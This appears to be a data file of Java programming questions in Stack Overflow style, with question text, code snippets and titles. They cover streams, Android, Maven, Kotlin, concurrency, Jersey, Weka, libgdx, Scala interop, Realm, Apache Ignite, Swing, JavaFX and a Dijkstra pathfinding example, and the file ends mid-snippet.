[ 'WidgetA ' ] Starting the setup of the Map with keys seems pretty easy , but I do n't know how to structure the downstream reduction : I think the problem I 'm having is reducing Widgets based on the stock warehouse Id , and not knowing how to return a Collector to create this list of Widgets . Here 's how I would currently get the list of widgets with the smallest stock at a particular warehouse ( represented by someWarehouseId ) : Separating this into two tasks using forEach on the warehouse list would make this job easy , but I am wondering if I can do this in a 'one-liner ' .","List < Long > warehouseIds ; List < Widget > widgets ; public class Widget { public Collection < Stock > getStocks ( ) ; } public class Stock { public Long getWarehouseId ( ) ; public Integer getQuantity ( ) ; } warehouseIds.stream ( ) .collect ( Collectors.groupingBy ( Function : :Identity , HashMap : :new , ? ? ? ... widgets.stream ( ) .collect ( Collectors.groupingBy ( ( Widget w ) - > w.getStocks ( ) //for a specific warehouse .stream ( ) .filter ( stock- > stock.getWarehouseId ( ) ==someWarehouseId ) //Get the quantity of stocks for a widget .collect ( Collectors.summingInt ( Stock : :getQuantity ) ) , //Use a tree map so the keys are sorted TreeMap : :new , //Get the first entry Collectors.toList ( ) ) ) .firstEntry ( ) .getValue ( ) ;",Java Streams : Combining two collections into a map +Java,"I have three buttonsIt breaks when it gets to the switch , can anyone help me ? first post hope everythings ok",Button1 btn1 = ( Button ) findViewById ( R.id.button1 ) ; Button2 btn2 = ( Button ) findViewById ( R.id.button2 ) ; Button3 btn3 = ( Button ) findViewById ( R.id.button3 ) ; btn1.setOnClickListener ( this ) ; btn2.setOnClickListener ( this ) ; btn3.setOnClickListener ( this ) ; public void onClick ( View v ) { switch ( v ) { case bt1 : //SOME CODE break ; case bt2 : //SOME CODE break ; case bt3 : //SOME CODE break ; },switch onClick buttons +Java,"I moved from Ant to Maven and I miss one thing : the ability to execute an arbitrary task . I wanted to get rid of Ant 's build.xml but I still need it just for this.Occasionally I need to run some stats for XML processing and PDF processing . They are not part of the build but I need to automate them anyway . In Ant I used to just compile and run a java class in the code to using the java Ant task , e.g . : Trying to wrap my brain around it . Maybe Maven was n't designed to do help with any automation , but only addresses `` build oriented '' tasks . Is it ?",< target name= '' gen-stats '' > < java classname= '' com.utl.StatsGen '' classpath= '' build '' / > < /target > < target name= '' compute-complexity '' > < java classname= '' com.utl.PDFComplexity '' classpath= '' lib/pdf-cpx.jar '' / > < /target >,Can Maven run non-build tasks ? +Java,"I am using a Kotlin class from Java code . My Kotlin class looks like : I want to be able to access a from Java code like however , I only have s.getA ( ) and s.setA ( 5 ) . Is there any way to make this property directly settable and gettable from Java ? Obviously we ca n't have custom getter and setter in this case .",class Something { var a = 0 } s = new Something ( ) ; s.a = 5 ;,How to create a property without accessors in Kotlin ? +Java,"I have a long running calculation which I need to carry out for a long list of inputs . The calculations are independent , so I would like to distribute them to several CPUs . I am using Java 8.The skeleton of the code looks like this : The main function responsible the calculation looks like this : The long running calculation is stateless and does not do any IO.I would expect this code to use all available CPUs , but it does not happen . For example , on a machine with 72 CPUs and numThreads=72 ( or even eg . numThreads=500 ) , cpu usage is at most 500-1000 % , as shown by htop : According to the thread dump , many of the calculation threads are waiting , ie . : All calculation threads were waiting for the same lock . At the time of the dump , only 5 calculation threads were RUNNABLE , the rest were WAITING.What can be the reason for the locks and why do I not manage to use all cpus ?","ExecutorService executorService = Executors.newFixedThreadPool ( numThreads ) ; MyService myService = new MyService ( executorService ) ; List < MyResult > results = myInputList.stream ( ) .map ( myService : :getResultFuture ) .map ( CompletableFuture : :join ) .collect ( Collectors.toList ( ) ) ; executorService.shutdown ( ) ; CompletableFuture < MyResult > getResultFuture ( MyInput input ) { return CompletableFuture.supplyAsync ( ( ) - > longCalc ( input ) , executor ) ) ) } `` pool-1-thread-34 '' # 55 prio=5 os_prio=0 tid=0x00007fe858597890 nid=0xd66 waiting on condition [ 0x00007fe7f9cdd000 ] java.lang.Thread.State : WAITING ( parking ) at sun.misc.Unsafe.park ( Native Method ) - parking to wait for < 0x0000000381815f20 > ( a java.util.concurrent.locks.AbstractQueuedSynchronizer $ ConditionObject ) at java.util.concurrent.locks.LockSupport.park ( LockSupport.java:175 ) at java.util.concurrent.locks.AbstractQueuedSynchronizer $ ConditionObject.await ( AbstractQueuedSynchronizer.java:2039 ) at java.util.concurrent.LinkedBlockingQueue.take ( LinkedBlockingQueue.java:442 ) at java.util.concurrent.ThreadPoolExecutor.getTask ( ThreadPoolExecutor.java:1074 ) at java.util.concurrent.ThreadPoolExecutor.runWorker ( ThreadPoolExecutor.java:1134 ) at java.util.concurrent.ThreadPoolExecutor $ Worker.run ( ThreadPoolExecutor.java:624 ) at java.lang.Thread.run ( Thread.java:748 ) Locked ownable synchronizers : - None",Java does not use all available CPUs +Java,"I may be misinterpreting the Jersey specification for the media type of a response when a method can produce one of several . According to https : //jersey.java.net/documentation/latest/jaxrs-resources.html # d0e1785 , I think that when two media types listed in an @ Produces ( .. ) annotation match the incoming Accept header , Jersey will honor any weights associated with those types in the annotation or will pick the first if the weights do not decide a winner.The code below demonstrates how this is not the behavior in practice . In the final two cases , I expect a JSON response when the request is ambiguous but I get XML instead . Is my understanding of the documentation incorrect ? Or is this possibly a defect in Jersey ? Things I have tried : Remove the @ XmlRootElement annotation from the model . The finaltwo cases then pass but the 2nd case diverges becausethere is no suitable writer . Return Object from the resourcemethod . Result is no change in the pass/fail status of the cases.Remove the weights from the @ Produces ( .. ) annotation of theresource class ( JSON media type is still listed first ) . Resultis no change in the pass/fail status of the cases.This example is built using Jersey 2.10 and Java 1.8_05 on Ubuntu 14.04 .","package demo ; import java.net.URI ; import java.util.Arrays ; import java.util.concurrent.Executors ; import java.util.concurrent.ThreadFactory ; import javax.ws.rs.GET ; import javax.ws.rs.Path ; import javax.ws.rs.Produces ; import javax.ws.rs.client.ClientBuilder ; import javax.ws.rs.core.MediaType ; import javax.ws.rs.core.Response ; import javax.xml.bind.annotation.XmlRootElement ; import org.glassfish.jersey.jdkhttp.JdkHttpServerFactory ; import org.glassfish.jersey.server.ResourceConfig ; import com.sun.net.httpserver.HttpServer ; public class DemonstrateAmbiguousMediaType { private static final String BASE_URI = `` http : //localhost:8092/ '' ; public static void main ( final String [ ] args ) { final HttpServer server = startServer ( ) ; try { /* * These cases work fine . */ check ( `` application/json '' , `` application/json '' ) ; check ( `` application/xml '' , `` application/xml '' ) ; /* * These cases should pass according to Jersey * documentation for @ Produces * https : //jersey.java.net/documentation/latest/jaxrs-resources.html # d0e1785 * but they do not . */ check ( `` application/json '' , `` application/* '' ) ; check ( `` application/json '' , `` */* '' ) ; } finally { server.stop ( 0 ) ; } } private static void check ( final String expected , final String ... acceptTypes ) { final MediaType atype = fetchAs ( acceptTypes ) .getMediaType ( ) ; final String actual = atype.getType ( ) + `` / '' + atype.getSubtype ( ) ; System.out.println ( Arrays.asList ( acceptTypes ) + `` : '' + ( expected.equals ( actual ) ? `` pass '' : `` fail '' ) ) ; } private static Response fetchAs ( final String [ ] acceptable ) { return ClientBuilder.newClient ( ) .target ( BASE_URI ) .path ( `` model '' ) .request ( ) .accept ( acceptable ) .get ( ) ; } private static HttpServer startServer ( ) { final ResourceConfig config = new ResourceConfig ( Resource.class ) ; final HttpServer rval = JdkHttpServerFactory.createHttpServer ( URI.create ( BASE_URI ) , config , false ) ; rval.setExecutor ( Executors.newCachedThreadPool ( new ThreadFactory ( ) { @ Override public Thread newThread ( Runnable r ) { final Thread rval = new Thread ( r ) ; rval.setDaemon ( true ) ; return rval ; } } ) ) ; rval.start ( ) ; return rval ; } @ XmlRootElement public static class Model { public int a = 10 ; public String b = `` Bbb '' ; } @ Path ( `` /model '' ) @ Produces ( { `` application/json ; q=0.9 '' , `` application/xml ; q=0.5 '' } ) public static class Resource { @ GET public Model getModel ( ) { return new Model ( ) ; } } }",Jersey not obeying response media type rules from @ Produces +Java,"It is usually admitted that extending implementations of an interface through inheritance is not best practice , and that composition ( eg . implementing the interface again from scratch ) is more maintenable . This works because the interface contract forces the user to implement all the desired functionality . However in java 8 , default methods provide some default behavior which can be `` manually '' overriden . Consider the following example : I want to design a user database , which must have the functionalities of a List . I choose , for efficiency purposes , to back it by an ArrayList . This would not usually be considered great practice , and one would prefer , if actually desiring the full capabilities of a List and following the usual `` composition over inheritance '' motto : However , if not paying attention , some methods , such as spliterator ( ) will not be required to be overridden , as they are default methods of the List interface . The catch is , that the spliterator ( ) method of List performs far worse than the spliterator ( ) method of ArrayList , which has been optimised for the particular structure of an ArrayList . This forces the developer to be aware that ArrayList has its own , more efficient implementation of spliterator ( ) , and manually override the spliterator ( ) method of his own implementation of List or lose a huge deal of performance by using the default method . So the question is : is it still `` as true '' that one should prefer composition over inheritance in such situations ?","public class UserDatabase extends ArrayList < User > { } public class UserDatabase implements List < User > { //implementation here , using an ArrayList type field , or decorator pattern , etc . }","Inheritance , composition and default methods" +Java,I 'm measuring the sizes of objects by checking how long their byte arrays are using ByteArrayOutputStream.When doing : They return 81 and 51.I belive Point consists of two primitives but that does n't seem to be the reason.The code I for Utils.getObjectSize : EDIT : I expressed myself wrong . I actually wanted to know why they take more size in the stream .,"System.out.println ( Utils.getObjectSize ( new Integer ( 123123 ) ) ) ; System.out.println ( Utils.getObjectSize ( new Point ( 123 , 123 ) ) ) ; ByteArrayOutputStream byteStream = new ByteArrayOutputStream ( ) ; ObjectOutputStream objectStream = new ObjectOutputStream ( byteStream ) ; objectStream.writeObject ( object ) ; objectStream.close ( ) ; return byteStream.toByteArray ( ) .length ;",Why does Point take less memory than Integer +Java,"I 'm trying to build an extension for Sonar , using Scala.I need to extend the following Java interface : but Resource type is actually defined like : I know I can workaround creating a Java raw super-class.I 'd like to stick to Scala-only , also know if there 's a solution I 'm missing , and whether there 's an improvement I could suggest to SonarSource people to make on their side ( on using raw types ) .I 've read there were issues with this , and some workarounds for some cases , but none seemed to apply here ( a workaround , an apparently fixed ticket , also there 's ticket 2091 ... )","public interface Decorator extends BatchExtension , CheckProject { void decorate ( Resource resource , DecoratorContext context ) ; } public abstract class Resource < PARENT extends Resource >",Implement Java Interface with Raw type from Scala +Java,"I 'm trying to use Weka to do K-Means clustering on a set of data , examining how different weights affect different attributes.However , when I adjust the weights of each attribute , I 'm not seeing any difference in the clustering . The first dimension of the `` modifiers '' array corresponds to each attribute , and within each there are two values . The first is subtracted from the attribute value , and then the result is divided by the second value.The normalization goes like this : My expectation is that increasing the second normalization should reduce the importance of a particular attribute to the clustering and therefore change how clusters are assigned , but that is n't what I 'm observing . My debugger is showing that the correctly normalized values are being sent into the clusterer , but I find it hard to believe that Weka is messing up instead of me.Have I used Weka 's K-Means correctly , or have I left out something important ?","//Initialize file readers ... Instances dataSet = readDataFile ( dataReader ) ; double [ ] [ ] modifiers = readNormalizationFile ( normReader , dataSet.numAttributes ( ) ) ; normalize ( dataSet , modifiers ) ; SimpleKMeans kMeans = new SimpleKMeans ( ) ; kMeans.setPreserveInstancesOrder ( true ) ; int [ ] clusters = null ; try { System.out.println ( kMeans.getSeed ( ) ) ; if ( distMet ! = 0 ) kMeans.setDistanceFunction ( new ManhattanDistance ( dataSet ) ) ; kMeans.setNumClusters ( k ) ; kMeans.buildClusterer ( dataSet ) ; clusters = kMeans.getAssignments ( ) ; } //Print clusters public static void normalize ( Instances dataSet , double [ ] [ ] modifiers ) { for ( int i = 0 ; i < dataSet.numInstances ( ) ; i++ ) { Instance currInst = dataSet.instance ( i ) ; double [ ] values = currInst.toDoubleArray ( ) ; for ( int j = 0 ; j < values.length ; j++ ) { currInst.setValue ( j , ( values [ j ] - modifiers [ j ] [ 0 ] ) / modifiers [ j ] [ 1 ] ) ; } } }",Weka always producing same clusters for different data +Java,"I asked this at the libgdx forums but did n't get a response so I was hoping y'all could help me out : I have Actors that represent game pieces . What I 'm trying to do is make it so the player can click-and-drag the tile to move it around the screen and rotate it multiple times before submitting the placeTile command . From what I understand of DragAndDrop it does n't seem to be designed with my use case in mind so I figured I 'd instead attach a dragListener listener to each game piece ( code below ) . It works well for dragging , except I ca n't figure out how to set the 'minimum distance before drag starts ' to 0 ... but that 's not my main question ( though any insights would be appreciated ) Anyway , the big problem comes in when I rotate the actor , and then try to drag it : At 30 degrees rotation , drag acts almost like normal : at 60 degrees , very small movements of the mouse send the actor moving in a tight circle very quickly . Another 30 degrees , the tile actor exits the screen in 1-2 frames , moving in a wide arc . If the actor is rotated clockwise , it 's movements are clockwise ; same pattern for counter-clockwise.It looks like the translation of the actor is taking rotation into account ; I guess my question is , is it possible to rotate an Actor/Group without the rotation affecting future translations ? Alternatively , is there a better way to drag an Actor around the screen based on touch/mouse input ? I included some code below : I imagine I 'm screwing up something basic , but I ca n't figure out what : And for the listener that deals with rotation via scrolling mouse wheel : Any pointers ? Am I even going the right direction by using DragListener ? Thanks for reading !","// during initial stage creationtileActor.setOrigin ( tileActor.getWidth ( ) / 2 , tileActor.getHeight ( ) / 2 ) ; tileActor.addListener ( new DragListener ( ) { public void dragStart ( InputEvent event , float x , float y , int pointer ) { chosenTileActor = event.getTarget ( ) ; } public void drag ( InputEvent event , float x , float y , int pointer ) { Actor target = event.getTarget ( ) ; target.translate ( x , y ) ; } } ) ; multiplexer.addProcessor ( new InputAdapter ( ) { @ Override public boolean scrolled ( int amt ) { if ( chosenTileActor == null ) return false ; else chosenTileActor.rotate ( amt * 30 ) ; return true ; } } ) ;",Scene2d - Rotated actor not translated as expected +Java,where Foo is my own class . What is the return type of this method ? Why does it seem to have two return types ?,public < E extends Foo > List < E > getResult ( String s ) ;,Why does this Java method appear to have two return types ? +Java,"Let 's say I want to perform the following operations : List the files in a given directory ( as a stream ) Map each file ( Path ) into a Reader ( BufferedReader for example ) for a consumer to consume.Once a file has been consumed , delete the filesThe code would look a bit like this : If I use peek ( ) to delete the files , then the file wo n't be there when it needs to be mapped into a Reader , so I 'd need something that runs after the stream is consumed . Any idea ?",Stream < Reader > stream = Files.list ( Paths.get ( `` myFolder '' ) ) // Returns a stream of Path .callback ( Files : :delete ) // This would have to be called after the reader has been consumed .map ( Files : :newBufferedReader ) ; // Maps every path into a Reader,Add callback function to Java stream +Java,"Exploring the code of java.util.LinkedList as it is in OpenJDK 8 , I found the following code . The code is straightforward , but I 'm confused about saving reference to the first node to a constant in the second line of code . As far as I understand , this code will be inlined to one-liner without reference copying . Am I right ? If so , why does one need to copy reference in this and similar situations ( such idiom may be found in a half of methods in java.util.LinkedList ) ? My first thought was that it helps concurrency in some way , but LinkedList does not allow concurrent access ( except at your own risk ) , so I guess it is some hint for optimizer , but ca n't figure out how it is supposed to work .",public E peek ( ) { final Node < E > f = first ; return ( f == null ) ? null : f.item ; },Is it important to copy a reference to a local variable before using it +Java,I would like to extend a jython class in a java classhow do I import the Jython class ? Does it have to be compiled ? A link to documentation would be already useful.Example : --,public class JavaClass extends JythonClass class JythonClass ( threading.Thread ) : def do ( self ) : print ( `` hallo '' ) public class JavaClass extends JythonClass { public void hello ( ) { System.out.print ( `` hallo '' ) } },How to extend a jython class in a java class +Java,"My Java 7 Swing application features a JTable that contains the following objects : The goal is to drag these MyFile objects out of my application and drop them to the filesystem ( e.g . to the desktop ) . When setting setDragEnabled ( true ) to my JTable , the icon already turns to a `` + '' symbol when dragging a table entry , as known by regular drag & drop actions from other applications . But when actually dropping the object to the desktop nothing happens ... How can I tell my JTable to only drop the File object inside the MyFile object ? Did I forgot more things ? Could someone provide a short sample ? Many thanks for your help in advance !",public class MyFile { private long id ; private long created ; private long modified ; private String description ; private File file ; public MyFile ( long id ) { this.id = id ; this.created = System.currentTimeMillis ( ) ; } // getter & setter methods ... },Java : How to drag a file from a JTable to native filesystem ? +Java,"Suppose I 've got this Scala trait : Providing a Java implementation is easy enough : Now let 's start with a generic trait : The approach above wo n't work , since the unit x returns is now boxed , but the workaround is easy enough : Now suppose I 've got an implementation with x defined on the Scala side : I know I ca n't see this x from Java , so I define my own : But that blows up : And if I try the abstract-class-that-delegates-to-super-trait trick : And then : It 's even worse : ( Note that this definition of JQux would work just fine if Baz did n't extend Foo [ Unit ] . ) If you look at what javap says about Qux , it 's just weird : I think the problems here with both Baz and Qux have to be scalac bugs , but is there a workaround ? I do n't really care about the Baz part , but is there any way I can inherit from Qux in Java ?",trait UnitThingy { def x ( ) : Unit } import scala.runtime.BoxedUnit ; public class JUnitThingy implements UnitThingy { public void x ( ) { return ; } } trait Foo [ A ] { def x ( ) : A } trait Bar extends Foo [ Unit ] import scala.runtime.BoxedUnit ; public class JBar implements Bar { public BoxedUnit x ( ) { return BoxedUnit.UNIT ; } } trait Baz extends Foo [ Unit ] { def x ( ) : Unit = ( ) } import scala.runtime.BoxedUnit ; public class JBaz implements Baz { public BoxedUnit x ( ) { return BoxedUnit.UNIT ; } } [ error ] ... /JBaz.java:3 : error : JBaz is not abstract and does not override abstract method x ( ) in Baz [ error ] public class JBaz implements Baz { [ error ] ^ [ error ] /home/travis/tmp/so/js/newsutff/JBaz.java:4 : error : x ( ) in JBaz can not implement x ( ) in Baz [ error ] public BoxedUnit x ( ) { [ error ] ^ [ error ] return type BoxedUnit is not compatible with void abstract class Qux extends Baz { override def x ( ) = super.x ( ) } public class JQux extends Qux { } [ error ] /home/travis/tmp/so/js/newsutff/JQux.java:1 : error : JQux is not abstract and does not override abstract method x ( ) in Foo [ error ] public class JQux extends Qux { } [ error ] ^ public abstract class Qux implements Baz { public void x ( ) ; public java.lang.Object x ( ) ; public Qux ( ) ; },Java interoperability woes with Scala generics and boxing +Java,"I currently have a disagreement going on with my 2nd year JAVA professor that I 'm hoping y'all could help solve : The code we started with was this : And she wants us to remove the isEmpty ( ) reference and place its code directly into the if statement ( i.e . change the peek method contents to : if ( topIndex < 0 ) ... ... . ) to `` Make the code more efficient '' . I have argued that a ) the runtime/compile time optimizer would most likely have inlined the isEmpty ( ) call , b ) even if it did n't , the 5-10 machine operations would be negligible in nearly every situation , and c ) its just bad style because it makes the program less readable and less changeable.So , I guess my question is : Is there any runtime efficiency gained by inlineing logic as opposed to just calling a method ? I have tried simple profiling techniques ( aka long loop and a stopwatch ) but tests have been inconclusive . EDIT : Thank you everyone for the responses ! I appreciate you all taking the time . Also , I appreciate those of you who commented on the pragmatism of arguing with my professor and especially doing so without data . @ Mike Dunlavey I appreciate your insight as a former professor and your advice on the appropriate coding sequence . @ ya_pulser I especially appreciate the profiling advice and links you took the time to share .",public T peek ( ) { if ( isEmpty ( ) ) ... ... ... } public boolean isEmpty ( ) { return topIndex < 0 ; },Efficiency of having logic in-line vs calling a method ? +Java,"This probably has a very obvious answer , but I just started learning Java and discovered this . Say we have Why is it that x.substring ( 5 ) returns `` '' , an empty string while x.substring ( 6 ) throws an IndexOutOfBounds exception ? Is there some kind of empty string that can be referenced appended to every string ? Just not sure how it works . Thanks !",String x = `` apple '' ;,Why does the java substring method work like this ? +Java,"I would be grateful if someone could please explain why the following is occuring . Thanks a lot.Edit -BTW , the compilation error for code line # 2 is : `` unexpected type '' , and occurs where the short-circuit OR operator is located : Edit 2 -Please note that the code fragments found in this question are examples of `` highly artificial Java coding '' , and consequently would not be seen in professionally written code.Edit 3 -I 'm new to this incredibly useful website , and I 've just learnt how to make and upload screenshots of Java 's compilation messages . The following image replicates the information that I provided in my first `` Edit '' above . It shows the compilation error for example code line # 2 .","boolean b = true ; // Compiles OK.// The LHS `` assignment operand '' requires no ( ) parentheses.if ( b=true || b==true ) ; // Reverse the || 's operands , and now the code does n't compile.if ( b==true || b=true ) ; // Add ( ) around the RHS `` assignment operand '' , and the code now compiles OK.if ( b==true || ( b=true ) ) ; if ( b==true || b=true ) ; // ^ `` unexpected type '' compilation error occurs here .",java operator precedence with assignment +Java,"I have a Maven-3 multi-module project : Module foo depends on module bar , and they both have the same parent : root . Everything works fine , until I decided to clean my local repository and run mvn site : site . Build fails with a message : It is a known bug or I 'm doing something wrong ? I did n't configure maven-project-info-reports-plugin anyhow in any pom.xml yet .",/root pom.xml /bar pom.xml /foo pom.xml Failed to resolve artifact.Missing:1 ) com.XXX : bar : jar:1.0-SNAPSHOT,Why does maven site : site fail in a multi-module project ? +Java,"I 'm using the JavaFx Print-Dialog to customize the print job . All properties will be stored in the PrinterJob # JobSettings variable , but when I receive the paper source from the jobSetting the paper source is always the default.How can I get the paper source that I set ? Here is a short example :","public class PrinterPaperSourceTest extends Application { public static void main ( String [ ] args ) { launch ( args ) ; } @ Override public void start ( Stage primaryStage ) { primaryStage.setTitle ( `` Printer '' ) ; Button btn = new Button ( ) ; btn.setText ( `` Show Printer Settings `` ) ; btn.setOnAction ( new EventHandler < ActionEvent > ( ) { @ Override public void handle ( ActionEvent event ) { PrinterJob job = PrinterJob.createPrinterJob ( Printer.getDefaultPrinter ( ) ) ; job.showPageSetupDialog ( null ) ; Alert alert = new Alert ( AlertType.INFORMATION ) ; PaperSource paperSource = job.getJobSettings ( ) .getPaperSource ( ) ; alert.setContentText ( `` PaperSource : `` + paperSource.getName ( ) ) ; alert.show ( ) ; } } ) ; StackPane root = new StackPane ( ) ; root.getChildren ( ) .add ( btn ) ; primaryStage.setScene ( new Scene ( root , 300 , 250 ) ) ; primaryStage.show ( ) ; } }",JavaFX PrintAPI wrong PaperSource +Java,"In many places there are recommendations to call Realm.getDefaultInstance ( ) in onCreate method of the Activity and call close on Realm instance in onDestroy ( or in corresponding methods of presenter ) .However , for me it would be cleaner to use Java 's try-with-resources construct : Why cleaner ? IMO it is easier to manage that narrow scope of realm instance . Getting the instance in one moment of lifecycle and closing it in the another one , reminds me of old days with C++ , when we had to worry about calling delete in right moment.The question is : is it a bad practice to use Realm in such way ? Why none of tutorials mention it ?",try ( final Realm realm = Realm.getDefaultInstance ( ) ) { // do stuff },Is it a good practice to use Realm with try-with-resources ? +Java,"I 'm running Ignite in a Kubernetes cluster with persistence enabled . Each machine has a Java Heap of 24GB with 20GB devoted to durable memory with a memory limit of 110GB . My relevant JVM options are -XX : +AlwaysPreTouch -XX : +UseG1GC -XX : +ScavengeBeforeFullGC . After running DataStreamers on every node for several hours , nodes on my cluster hit their k8s memory limit triggering an OOM kill . After running Java NMT , I was surprised to find a huge amount of space allocated to internal memory.Kubernetes metrics confirmed this : '' Ignite Cache '' is kernel page cache . The last panel `` Heap + Durable + Buffer '' is the sum of the ignite metrics HeapMemoryUsed + PhysicalMemorySize + CheckpointBufferSize.I knew this could n't be a result of data build-up because the DataStreamers are flushed after each file they read ( up to about 250MB max ) , and no node is reading more than 4 files at once . After ruling out other issues on my end , I tried setting -XX : MaxDirectMemorySize=10G , and invoking manual GC , but nothing seems to have an impact other than periodically shutting down all of my pods and restarting them.I 'm not sure where to go from here . Is there a workaround in Ignite that does n't force me to use a third-party database ? EDIT : My DataStorageConfigurationUPDATE : When I disable persistence , internal memory is properly disposed of : UPDATE : The issue is demonstrated here with a reproducible example . It 's runnable on a machine with at least 22GB of memory for docker and about 50GB of storage . Interestingly the leak is only really noticeable when passing in a Byte Array or String as the value .","Java Heap ( reserved=25165824KB , committed=25165824KB ) ( mmap : reserved=25165824KB , committed=25165824KB ) Internal ( reserved=42425986KB , committed=42425986KB ) ( malloc=42425954KB # 614365 ) ( mmap : reserved=32KB , committed=32KB ) < property name= '' dataStorageConfiguration '' > < bean class= '' org.apache.ignite.configuration.DataStorageConfiguration '' > < property name= '' metricsEnabled '' value= '' true '' / > < property name= '' checkpointFrequency '' value= '' 300000 '' / > < property name= '' storagePath '' value= '' /var/lib/ignite/data/db '' / > < property name= '' walFlushFrequency '' value= '' 10000 '' / > < property name= '' walMode '' value= '' LOG_ONLY '' / > < property name= '' walPath '' value= '' /var/lib/ignite/data/wal '' / > < property name= '' walArchivePath '' value= '' /var/lib/ignite/data/wal/archive '' / > < property name= '' walSegmentSize '' value= '' 2147483647 '' / > < property name= '' maxWalArchiveSize '' value= '' 4294967294 '' / > < property name= '' walCompactionEnabled '' value= '' false '' / > < property name= '' writeThrottlingEnabled '' value= '' False '' / > < property name= '' pageSize '' value= '' 4096 '' / > < property name= '' defaultDataRegionConfiguration '' > < bean class= '' org.apache.ignite.configuration.DataRegionConfiguration '' > < property name= '' persistenceEnabled '' value= '' true '' / > < property name= '' checkpointPageBufferSize '' value= '' 2147483648 '' / > < property name= '' name '' value= '' Default_Region '' / > < property name= '' maxSize '' value= '' 21474836480 '' / > < property name= '' metricsEnabled '' value= '' true '' / > < /bean > < /property > < /bean > < /property >",Possible Memory Leak in Ignite DataStreamer +Java,"I want to write my custom doclet . I do n't want to read some existingjavadoc that is made with the standard doclet.I am having problems to figure out how I can query the Javadoc APIwhether a formal parameter is a varargs paramter . For example ifI have the following method : How can I determine that the formal parameter args is varargs ? Ihave looked into com.sun.javadoc.Type . But was not able to figureout how to access the information.ByeP.S . : Reflection does n't help , since reflection is not available insidea doclet I guess . In a doclet you have for example the MethodDoc reflectedclass , whereas in reflection you have the Method class .",public static void main ( String ... args ) { },Javadoc API : How far are varargs supported ? +Java,"I have a problem with repaint ( ) method in my Java code . I want to call it in another class but I ca n't , something does n't work at all . I 've searched on forums , but nothing was able to help me out.My Main class : Ball class where I created 2DGraphics for moving shapes : And Key class where I put KeyListener for move the shapes by key pressing : But something is wrong with this code : super method does n't work for Key class . Everything in Ball class is working well . Where is the problem ?","public class Main { public static Main main ; public static JFrame f ; public Main ( ) { } public static void main ( String [ ] args ) { main = new Main ( ) ; f = new JFrame ( ) ; Ball b = new Ball ( ) ; f.getContentPane ( ) .setBackground ( Color.GRAY ) ; f.add ( b ) ; f.setSize ( 500 , 500 ) ; f.setLocationRelativeTo ( null ) ; f.setTitle ( `` Test '' ) ; f.setVisible ( true ) ; f.setDefaultCloseOperation ( JFrame.EXIT_ON_CLOSE ) ; f.addMouseMotionListener ( b ) ; f.addKeyListener ( new Key ( ) ) ; } } public class Ball extends JLabel implements MouseMotionListener { public Ball ( ) { } public static double x = 10 ; public static double y = 10 ; public static double width = 40 ; public static double height = 40 ; String nick ; boolean isEllipse = true ; public void paintComponent ( Graphics g ) { super.paintComponent ( g ) ; Graphics2D g2d = ( Graphics2D ) g ; if ( isEllipse ) { Ellipse2D e2d = new Ellipse2D.Double ( x , y , width , height ) ; g2d.setColor ( Color.RED ) ; g2d.fill ( e2d ) ; } else { Rectangle2D r2d = new Rectangle2D.Double ( x , y , width , height ) ; g2d.setColor ( Color.GREEN ) ; g2d.fill ( r2d ) ; } } @ Overridepublic void mouseDragged ( MouseEvent e ) { isEllipse = false ; x = e.getX ( ) - 30 ; y = e.getY ( ) - 40 ; this.repaint ( ) ; } @ Overridepublic void mouseMoved ( MouseEvent e ) { x = e.getX ( ) - 30 ; y = e.getY ( ) - 40 ; isEllipse = true ; this.repaint ( ) ; } } public class Key extends Ball implements KeyListener { public Key ( ) { } @ SuppressWarnings ( `` static-access '' ) @ Overridepublic void keyPressed ( KeyEvent e ) { if ( e.getKeyCode ( ) == KeyEvent.VK_W ) { super.x += 10 ; super.repaint ( ) ; System.out.println ( `` x : `` + super.x ) ; } } @ Overridepublic void keyReleased ( KeyEvent e ) { // TODO Auto-generated method stub } @ Overridepublic void keyTyped ( KeyEvent e ) { // TODO Auto-generated method stub } }",Repaint ( ) method calling in another class +Java,"So I creating a minecraft plugin where I am in need of a graph to create a navigation system . I researched a bit and found out that I should be able to use Dijkstra , but I have a problem . When searching for the shortest path I am sometimes getting an infinite loop ( not always , it usally works the first 2-3 runs but after that it goes into the loop ) . When the player wants to get to a destination I search for the closest vertex and use computePaths with that vertex as parameter . When I then run the getShortestPathTo it sometimes gets stuck in an infinite loop and I run out of memory ( which makes sence since im adding the same vertexes to the list ) . Can you see why it is getting stuck ? As far as I knew Dijkstra should be able to handle going from A node to B node and from B node to A node right ? Below is my code : and the vertex class : When first the plugin is enabled I load all the vertexes from a config file looking something like this ( It is the test one i am using ) I am adding vertexes and edges here ( not sure if relevent but thought it might be ? ) :","public class Dijkstra { public static void computePaths ( Vertex source ) { source.minDistance = 0. ; PriorityQueue < Vertex > vertexQueue = new PriorityQueue < Vertex > ( ) ; vertexQueue.add ( source ) ; while ( ! vertexQueue.isEmpty ( ) ) { Vertex u = vertexQueue.poll ( ) ; // Visit each edge exiting u for ( Edge e : u.adjacencies ) { Vertex v = e.target ; double weight = e.weight ; double distanceThroughU = u.minDistance + weight ; if ( distanceThroughU < v.minDistance ) { vertexQueue.remove ( v ) ; v.minDistance = distanceThroughU ; v.previous = u ; vertexQueue.add ( v ) ; } } } } public static List < Vertex > getShortestPathTo ( Vertex target ) { List < Vertex > path = new ArrayList < Vertex > ( ) ; for ( Vertex vertex = target ; vertex ! = null ; vertex = vertex.previous ) { path.add ( vertex ) ; } Collections.reverse ( path ) ; return path ; } } public class Vertex implements Comparable < Vertex > { public final String name ; public Edge [ ] adjacencies ; public double minDistance = Double.POSITIVE_INFINITY ; public Vertex previous ; public Location location ; public Vertex ( String argName ) { name = argName ; } public Vertex ( String argName , Location l ) { name = argName ; location = l ; } public String toString ( ) { return name ; } public int compareTo ( Vertex other ) { return Double.compare ( minDistance , other.minDistance ) ; } } public void loadAllVertex ( ) { ConfigurationSection section = nodeConfig.config.getConfigurationSection ( `` nodes '' ) ; for ( String key : section.getKeys ( false ) ) { String locationString = nodeConfig.getString ( `` nodes . '' + key + `` .location '' ) ; if ( locationString == null ) return ; String [ ] locationSplit = locationString.split ( `` , '' ) ; if ( locationSplit.length < =1 ) { log.log ( Level.SEVERE , `` Location is not specified correctly in nodes.yml '' ) ; return ; } Location l = new Location ( Bukkit.getWorlds ( ) .get ( 0 ) , Integer.parseInt ( locationSplit [ 0 ] ) , Integer.parseInt ( locationSplit [ 1 ] ) , Integer.parseInt ( locationSplit [ 2 ] ) ) ; Vertex tmpVertex = new Vertex ( key , l ) ; allNodes.add ( tmpVertex ) ; } for ( Vertex v : allNodes ) { String path = `` nodes . '' + v.name + `` .connectedTo '' ; List < String > connectedTo = nodeConfig.getStringList ( path , 